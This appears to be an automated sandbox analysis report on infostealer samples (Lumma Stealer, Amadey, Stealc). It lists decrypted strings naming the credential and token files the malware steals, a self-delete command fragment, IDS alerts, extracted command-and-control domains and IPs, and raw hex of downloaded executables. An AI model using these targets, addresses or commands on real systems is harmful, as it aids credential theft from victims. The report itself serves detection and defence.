Source: 32.0.num.exe.160000.0.unpack String decryptor: %USERPROFILE%
Source: 32.0.num.exe.160000.0.unpack String decryptor: %DOCUMENTS%
Source: 32.0.num.exe.160000.0.unpack String decryptor: %PROGRAMFILES%
Source: 32.0.num.exe.160000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 32.0.num.exe.160000.0.unpack String decryptor: %RECENT%
Source: 32.0.num.exe.160000.0.unpack String decryptor: *.lnk
Source: 32.0.num.exe.160000.0.unpack String decryptor: files
Source: 32.0.num.exe.160000.0.unpack String decryptor: \discord\
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Local Storage\leveldb
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Telegram Desktop\
Source: 32.0.num.exe.160000.0.unpack String decryptor: key_datas
Source: 32.0.num.exe.160000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 32.0.num.exe.160000.0.unpack String decryptor: map*
Source: 32.0.num.exe.160000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 32.0.num.exe.160000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 32.0.num.exe.160000.0.unpack String decryptor: F8806DD0C461824F*
Source: 32.0.num.exe.160000.0.unpack String decryptor: Telegram
Source: 32.0.num.exe.160000.0.unpack String decryptor: Tox
Source: 32.0.num.exe.160000.0.unpack String decryptor: *.tox
Source: 32.0.num.exe.160000.0.unpack String decryptor: *.ini
Source: 32.0.num.exe.160000.0.unpack String decryptor: Password
Source: 32.0.num.exe.160000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack String decryptor: 00000001
Source: 32.0.num.exe.160000.0.unpack String decryptor: 00000002
Source: 32.0.num.exe.160000.0.unpack String decryptor: 00000003
Source: 32.0.num.exe.160000.0.unpack String decryptor: 00000004
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 32.0.num.exe.160000.0.unpack String decryptor: Pidgin
Source: 32.0.num.exe.160000.0.unpack String decryptor: \.purple\
Source: 32.0.num.exe.160000.0.unpack String decryptor: accounts.xml
Source: 32.0.num.exe.160000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 32.0.num.exe.160000.0.unpack String decryptor: token:
Source: 32.0.num.exe.160000.0.unpack String decryptor: Software\Valve\Steam
Source: 32.0.num.exe.160000.0.unpack String decryptor: SteamPath
Source: 32.0.num.exe.160000.0.unpack String decryptor: \config\
Source: 32.0.num.exe.160000.0.unpack String decryptor: ssfn*
Source: 32.0.num.exe.160000.0.unpack String decryptor: config.vdf
Source: 32.0.num.exe.160000.0.unpack String decryptor: DialogConfig.vdf
Source: 32.0.num.exe.160000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 32.0.num.exe.160000.0.unpack String decryptor: libraryfolders.vdf
Source: 32.0.num.exe.160000.0.unpack String decryptor: loginusers.vdf
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Steam\
Source: 32.0.num.exe.160000.0.unpack String decryptor: sqlite3.dll
Source: 32.0.num.exe.160000.0.unpack String decryptor: browsers
Source: 32.0.num.exe.160000.0.unpack String decryptor: done
Source: 32.0.num.exe.160000.0.unpack String decryptor: soft
Source: 32.0.num.exe.160000.0.unpack String decryptor: \Discord\tokens.txt
Source: 32.0.num.exe.160000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 32.0.num.exe.160000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 32.0.num.exe.160000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 32.0.num.exe.160000.0.unpack String decryptor: https
Source: 32.0.num.exe.160000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 32.0.num.exe.160000.0.unpack String decryptor: POST
Source: 32.0.num.exe.160000.0.unpack String decryptor: HTTP/1.1
Source: 32.0.num.exe.160000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 32.0.num.exe.160000.0.unpack String decryptor: hwid
Source: 32.0.num.exe.160000.0.unpack String decryptor: build
Source: 32.0.num.exe.160000.0.unpack String decryptor: token
Source: 32.0.num.exe.160000.0.unpack String decryptor: file_name
Source: 32.0.num.exe.160000.0.unpack String decryptor: file
Source: 32.0.num.exe.160000.0.unpack String decryptor: message
Source: 32.0.num.exe.160000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 32.0.num.exe.160000.0.unpack String decryptor: screenshot.jpg
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57873 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57880 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57896 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57902 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57907 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57911 version: TLS 1.2
Source: Binary string: my_library.pdbU source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: my_library.pdb source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 910S1Q63XQ87I6P4.exe, 00000002.00000003.1898160326.0000000005380000.00000004.00001000.00020000.00000000.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: number of queries: 1309
Source: firefox.exe Memory has grown: Private usage: 1MB later: 93MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63553 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:54420 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:63688 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:65019 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:62907 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:57639 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:57021 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:50709 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:57653
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:64564 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57773 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50207 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57789 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57800 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57806 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57817 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57834 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57830 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57838 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57852 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:53909 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:52242 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:56720 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63593 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57879 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57891 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57896 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57900 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57902 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57907 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57909 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57898 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57906 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57911 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57913 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:57789 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57852 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57911 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:57909 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:50:17 GMTContent-Type: application/octet-streamContent-Length: 2799104Last-Modified: Fri, 01 Nov 2024 07:45:47 GMTConnection: keep-aliveETag: "6724872b-2ab600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 6d 68 67 69 74 64 6f 00 60 2a 00 00 a0 00 00 00 54 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 74 7a 69 73 6d 71 61 00 20 00 00 00 00 2b 00 00 06 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:50:20 GMTContent-Type: application/octet-streamContent-Length: 1874432Last-Modified: Fri, 01 Nov 2024 07:49:17 GMTConnection: keep-aliveETag: "672487fd-1c9a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 aa 5f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 0d 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 0d 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 62 68 75 77 73 6b 66 00 80 19 00 00 90 30 00 00 7e 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 70 68 78 73 61 72 00 10 00 00 00 10 4a 00 00 04 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4a 00 00 22 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 